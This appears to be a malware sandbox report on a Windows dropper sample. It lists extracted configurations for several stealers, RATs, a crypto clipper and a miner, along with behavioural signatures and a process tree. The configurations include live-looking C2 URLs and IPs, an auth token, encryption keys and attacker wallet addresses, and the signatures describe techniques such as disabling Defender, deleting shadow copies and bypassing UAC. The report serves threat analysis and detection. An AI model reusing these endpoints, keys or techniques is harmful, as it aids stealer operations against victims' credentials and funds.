Resubmissions
15/09/2026, 11:12
260915-navswatygv1007/09/2026, 00:25
260907-aqql7sttav1004/08/2026, 14:58
260804-sb5rpashpf1004/08/2026, 06:06
260804-gt3t9seb381004/08/2026, 05:43
260804-gey8jaw1bx1024/07/2026, 07:14
260724-h2zy1svbmg1024/07/2026, 07:09
260724-hy9ztatwfy1024/07/2026, 06:50
260724-hmdggahn6v1021/07/2026, 16:13
260721-tpe9macc42321/07/2026, 16:00
260721-tfvb7axvcy10Analysis
- max time kernel
487s - max time network
599s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
04/08/2026, 14:58
General
- Target New Text Document mod.exe
- Size 8KB
- Sample260804-sb5rpashpf
- SHA256 2e2e035ece4accdee838ecaacdc263fa526939597954d18d1320d73c8bf810c2
Malware Config
Extracted
-
svcstealer
-
http://196.251.107.186/acovp/post.php
-
http://192.162.199.186/usovp/post.php
-
http://196.251.107.163/bioxp/post.php
-
build_id
SlLoaded
-
srv_delay
1
-
srv_retry
1
Extracted
-
phantom_stealer
-
v3.5.0
-
1YA6UHTISPAQ669J8KKQ
-
anti_analysis
0
-
cb_enables_ssl
0
-
debug
0
-
keylogger
1
-
start_delay
0
-
startup
1
Extracted
-
animateclipper
-
bsc.blockrazor.xyz
-
update-S-2-5-26-24247216-2331352693-3112950123
-
0x8C9C95A830b7E7e86f2f12DB88e911499A6f695f
-
1MuxHw4UUTsGtrYPa648xU822QEnCa7Hdq
-
3CPNSyRZWCpe2RMZ8ZysPkjcJAQJErecTZ
-
4x5U5QpXi4pNnDK9hpmZnV1gYNw78Ns1NWn5KtK5sksc
-
DBwmTibJfzs4nSnpDDsEjfmYqK3MUJDAfy
-
JZQCYTRBUGZR6TD6BLJXMB2ZYXI72CKFYPFGD5MP7K6FFV4XQ6QUFCRNEQ
-
LLSz2i1z6cjdqP34P6n78fCmpEoNAXFEu6
-
MWYxRmLZctVa7QcgiWemXGpvWc4drZBEPj
-
RSqNyaTeGjdbe8541bLG4UWU3jzx9oFGaj
-
TPtJCKJJDbLLPE7Mo9CZHw9RVWKV1hXcJJ
-
UQBEMPCcI_zn2UlBL-7r42fMHr6idU5ph9A_PbQP5lyRSCtd
-
XnbXJUXVRHXP6ejoieGzReP9GTFGvtkEjG
-
bc1phpyljll0vkjaukl33mmxfgcn030fe3rr3kt3lx9tvel7pap72rcsg5shm0
-
bc1qjmmnmjl54c8fzv8s4uvfsklgxe5hwe94kqaxh2
-
cosmos1tddarrjtgstsnutx9qpamsfjkpjjq52arpxklr
-
ltc1q3h79hhtvg0h66wyd9cjy20mzcwjdkcfj60cshz
-
qr6ca92nljwal2gct7wy2cjcnr7ksxmtwggt2ryz9y
-
rhFkjpX2kAUVSGGh9ZvGUYsyYMhSgUz14z
-
auth_token
91c5546b-f7c7-40aa-833d-515aa2cb49f6
-
contract
0x6936edc505501EBB2F202C985a021a06f1c10C9E
-
headers
Authorization: 91c5546b-f7c7-40aa-833d-515aa2cb49f6
Content-Type: application/x-www-form-urlencoded
Extracted
-
quasar
-
1.4.1
-
Office04
-
94.158.245.53:9992
-
4abbc77f-27e2-4983-8fe9-6fafbfb7627b
-
encryption_key
F5CCD6560C6A9C857BE240A8EE0DF9CF88BC3B2B
-
install_name
Client.exe
-
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
Quasar Client Startup
-
subdirectory
SubDir
Extracted
-
ratonrat
-
Professional
-
16.170.169.119:8080
-
GPMEaht28D0drQKjxak6e0p
-
assist
false
-
box
false
-
box_icon
Error
-
box_msg
I'm the message box description
-
box_title
Hello World
-
defender
false
-
delay
0
-
hide_file
false
-
open_website
false
-
process_critical
false
-
raw
silly21
-
reconnect
3
-
startup
true
-
tag
Infected
-
uac
false
-
vm
false
-
website
https://t.me/example
Extracted
-
vidar
-
2.6
-
ee24521c6a3a8dc1be6736334f3e1620
-
https://sot.tbo88men.top
-
https://t.me/np33yk
-
https://steamcommunity.com/profiles/76561198671804195
-
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/144.0.0.0
Extracted
-
asyncrat
-
Default
-
delay
1
-
install
true
-
install_file
vortex.exe
-
install_folder
%AppData%
-
local_host
127.0.0.1
Extracted
-
remus_stealer
-
http://carogra.biz:4219
-
http://angect.xyz:7838
-
http://myrtler.biz:9549
Extracted
-
phorphiex
-
http://178.16.55.240/
-
hhshshhsh
-
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36
Extracted
-
stealc
-
R909
-
http://45.131.214.189
-
url_path
/6a4133a676c340b0b27b.php
Extracted
-
vidar
-
1.5
-
3bc41b1aa7524456de3f85c8d329d639
-
https://1.me/hgo9tx
-
https://steamcommunity.com/profiles/76561198707628078
-
user_agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0
Signatures
- Family: AnimateClipper,ZigClipper
AnimateClipper is a Windows crypto clipper that hijacks the clipboard to swap wallet addresses.
- Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
- Family: PhantomStealer
Phantom Stealer is a stealer written in C#, forked from the Stealerium family.
- Family: Phorphiex, Phorpiex
Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.
- Family: Quasar RAT
Quasar is an open source Remote Access Tool.
- Family: RatonRAT
RatonRAT is an information stealer written in C#.
- Family: Remus
Remus is a stealer written in C++.
- Family: Stealc
Stealc is an infostealer written in C++.
- Family: SvcStealer, Diamotrix
SvcStealer aka Diamotrix Clipper is a stealer/downloader written in C++.
- Family: Vidar
Vidar is an infostealer based on Arkei stealer.
- Family: salatstealer
SalatStealer is a stealer that takes sceenshot written in Golang.
- Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Async RAT payload 1 IoCs
- Detect SalatStealer payload 1 IoCs
- Detects AnimateClipper 6 IoCs
- Detects PhantomStealer written in C# 3 IoCs
- Detects RatonRAT payload 1 IoCs
- Detects Stealc stealer Version 2 1 IoCs
- Modifies WinLogon for persistence 2 TTPs 1 IoCs
- Quasar payload 2 IoCs
- UAC bypass 3 TTPs 1 IoCs
- XMRig Miner payload 2 IoCs
- Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Deletes system backups 3 TTPs 2 IoCs
Uses wbadmin.exe to inhibit system recovery.
- Disables one or more Microsoft Defender components 1 TTPs 1 IoCs
Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.
- Downloads MZ/PE file 39 IoCs
- Manipulates Digital Signatures 1 TTPs 6 IoCs
Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to make their binary seem validly signed.
- Modifies Windows Firewall 2 TTPs 2 IoCs
- Signed with revoked ConnectWise certificate 7 IoCs
Binary is signed using a ConnectWise certificate revoked for key compromise.
- Checks computer location settings 2 TTPs 9 IoCs
Looks up country code configured in the registry, likely geofence.
- Creates new service(s) 2 TTPs
- Executes dropped EXE 58 IoCs
- Loads dropped DLL 64 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Registers new Windows logon scripts automatically executed at logon. 1 TTPs 1 IoCs
- Themida packer 1 IoCs
Detects Themida, an advanced Windows software protection system.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Adds Run key to start application 2 TTPs 7 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 8 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Enumerates connected drives 3 TTPs 64 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
- Looks up external IP address via web service 1 TTPs 5 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Executes a VBScript file via the Windows Script Host. 1 TTPs 4 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- UPX packed file 31 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Costura .NET executable packer 3 IoCs
Costura packer aka Costura Fody, is an add-in for the .NET framework that embeds all external dependency .dll files as resources inside main executable.
- Drops file in Windows directory 1 IoCs
- Launches sc.exe 3 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Detects Pyinstaller 4 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- Executes a command shell one-liner 1 TTPs 11 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 29 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Time Discovery 1 TTPs 3 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Inno Setup is an open-source installation builder for Windows applications. 6 IoCs
Inno Setup installer
- Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 18 IoCs
Processor information is often read in order to detect sandboxing environments.
- Delays execution with timeout.exe 1 IoCs
- Detects videocard installed 1 TTPs 2 IoCs
Uses WMIC.exe to determine videocard installed.
- Enumerates system info in registry 2 TTPs 17 IoCs
- Interacts with shadow copies 3 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
- Modifies data under HKEY_USERS 3 IoCs
- Modifies registry class 28 IoCs
- Modifies system certificate store 2 TTPs 13 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 9 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 26 IoCs
- Suspicious use of SendNotifyMessage 5 IoCs
- Suspicious use of SetWindowsHookEx 26 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- System policy modification 1 TTPs 1 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Adds Run key to start application
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe"C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe"2⤵
- Downloads MZ/PE file
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\a\4.exe"C:\Users\Admin\AppData\Local\Temp\a\4.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
-
C:\Users\Admin\AppData\Local\Temp\a\2.exe"C:\Users\Admin\AppData\Local\Temp\a\2.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-R4EVOS8IRH.tmp\2.tmp"C:\Users\Admin\AppData\Local\Temp\is-R4EVOS8IRH.tmp\2.tmp" /SL5="$90206,4057916,1011712,C:\Users\Admin\AppData\Local\Temp\a\2.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\1.exe"C:\Users\Admin\AppData\Local\Temp\a\1.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\a\velogs.exe"C:\Users\Admin\AppData\Local\Temp\a\velogs.exe"3⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- Adds Run key to start application
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- outlook_office_path
- outlook_win_path
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\rlv1slxd.pwu"4⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\rlv1slxd.pwu /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\rlv1slxd.pwu\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\rlv1slxd.pwu --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffeef0dc728,0x7ffeef0dc734,0x7ffeef0dc7405⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\rlv1slxd.pwu" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1692,i,16386457393524668197,603568541615936426,262144 --field-trial-handle=1956,i,13690431037285465336,12495471064784873326,262144 --variations-seed-version --mojo-platform-channel-handle=1940 /prefetch:25⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\rlv1slxd.pwu" --force-high-res-timeticks=disabled --metrics-shmem-handle=1968,i,7239025976812510791,7690867590167698789,524288 --field-trial-handle=1956,i,13690431037285465336,12495471064784873326,262144 --variations-seed-version --mojo-platform-channel-handle=2052 /prefetch:35⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\rlv1slxd.pwu" --force-high-res-timeticks=disabled --metrics-shmem-handle=2160,i,11835768860751020186,11382533245922156808,524288 --field-trial-handle=1956,i,13690431037285465336,12495471064784873326,262144 --variations-seed-version --mojo-platform-channel-handle=2336 /prefetch:85⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\rlv1slxd.pwu" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2828,i,12976441511521635023,9474642639665398363,2097152 --field-trial-handle=1956,i,13690431037285465336,12495471064784873326,262144 --variations-seed-version --mojo-platform-channel-handle=2888 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\rlv1slxd.pwu" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2832,i,5415826726248890710,8398512336315516873,2097152 --field-trial-handle=1956,i,13690431037285465336,12495471064784873326,262144 --variations-seed-version --mojo-platform-channel-handle=2892 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\rlv1slxd.pwu" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3128,i,15582423299297261060,12958224813235931727,2097152 --field-trial-handle=1956,i,13690431037285465336,12495471064784873326,262144 --variations-seed-version --mojo-platform-channel-handle=3140 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\rlv1slxd.pwu" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=3172,i,9381889692229289651,17952628483853581113,2097152 --field-trial-handle=1956,i,13690431037285465336,12495471064784873326,262144 --variations-seed-version --mojo-platform-channel-handle=3144 /prefetch:25⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\rlv1slxd.pwu" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=3644,i,5533365070292176831,2895624269480231133,2097152 --field-trial-handle=1956,i,13690431037285465336,12495471064784873326,262144 --variations-seed-version --mojo-platform-channel-handle=3768 /prefetch:25⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\rlv1slxd.pwu" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=4108,i,11156286421558269747,6543002366588204600,2097152 --field-trial-handle=1956,i,13690431037285465336,12495471064784873326,262144 --variations-seed-version --mojo-platform-channel-handle=4160 /prefetch:15⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\xmrig.exe"C:\Users\Admin\AppData\Local\Temp\a\xmrig.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\a\a7118141be1f.exe"C:\Users\Admin\AppData\Local\Temp\a\a7118141be1f.exe"3⤵
- Executes dropped EXE
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/@extraxuploads4⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2c4,0x2c8,0x2cc,0x2c0,0x2d4,0x7ffeeeedc188,0x7ffeeeedc194,0x7ffeeeedc1a05⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1900,i,16693012119731753203,8590004134198399057,524288 --field-trial-handle=2368,i,2224046638092438818,13714646342351023852,262144 --variations-seed-version --mojo-platform-channel-handle=2396 /prefetch:35⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1716,i,3540795700242066186,17246900832025240348,262144 --field-trial-handle=2368,i,2224046638092438818,13714646342351023852,262144 --variations-seed-version --mojo-platform-channel-handle=2364 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2300,i,14064801446482340326,18207498548152482183,524288 --field-trial-handle=2368,i,2224046638092438818,13714646342351023852,262144 --variations-seed-version --mojo-platform-channel-handle=2432 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3488,i,1540582109688234499,9255910597906196933,2097152 --field-trial-handle=2368,i,2224046638092438818,13714646342351023852,262144 --variations-seed-version --mojo-platform-channel-handle=3524 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3508,i,7754661225176866003,8833975582492749084,2097152 --field-trial-handle=2368,i,2224046638092438818,13714646342351023852,262144 --variations-seed-version --mojo-platform-channel-handle=3540 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4212,i,13153683669535475821,473192503908318374,2097152 --field-trial-handle=2368,i,2224046638092438818,13714646342351023852,262144 --variations-seed-version --mojo-platform-channel-handle=4248 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4224,i,16902203407234271308,8297174821039197258,2097152 --field-trial-handle=2368,i,2224046638092438818,13714646342351023852,262144 --variations-seed-version --mojo-platform-channel-handle=4252 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5064,i,14555634864555201075,2507377655321501252,524288 --field-trial-handle=2368,i,2224046638092438818,13714646342351023852,262144 --variations-seed-version --mojo-platform-channel-handle=3524 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3668,i,12189628379849418091,7592698884840455745,524288 --field-trial-handle=2368,i,2224046638092438818,13714646342351023852,262144 --variations-seed-version --mojo-platform-channel-handle=5196 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=5360,i,7015369016340866259,15095671064840714093,2097152 --field-trial-handle=2368,i,2224046638092438818,13714646342351023852,262144 --variations-seed-version --mojo-platform-channel-handle=5372 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5168,i,1831487175487726841,16208006605282117236,524288 --field-trial-handle=2368,i,2224046638092438818,13714646342351023852,262144 --variations-seed-version --mojo-platform-channel-handle=5536 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5156,i,1489882097750283701,7084745218297382586,524288 --field-trial-handle=2368,i,2224046638092438818,13714646342351023852,262144 --variations-seed-version --mojo-platform-channel-handle=5560 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5780,i,3773457009554410866,9538671143432857337,524288 --field-trial-handle=2368,i,2224046638092438818,13714646342351023852,262144 --variations-seed-version --mojo-platform-channel-handle=5800 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5780,i,3773457009554410866,9538671143432857337,524288 --field-trial-handle=2368,i,2224046638092438818,13714646342351023852,262144 --variations-seed-version --mojo-platform-channel-handle=5800 /prefetch:85⤵
-
-
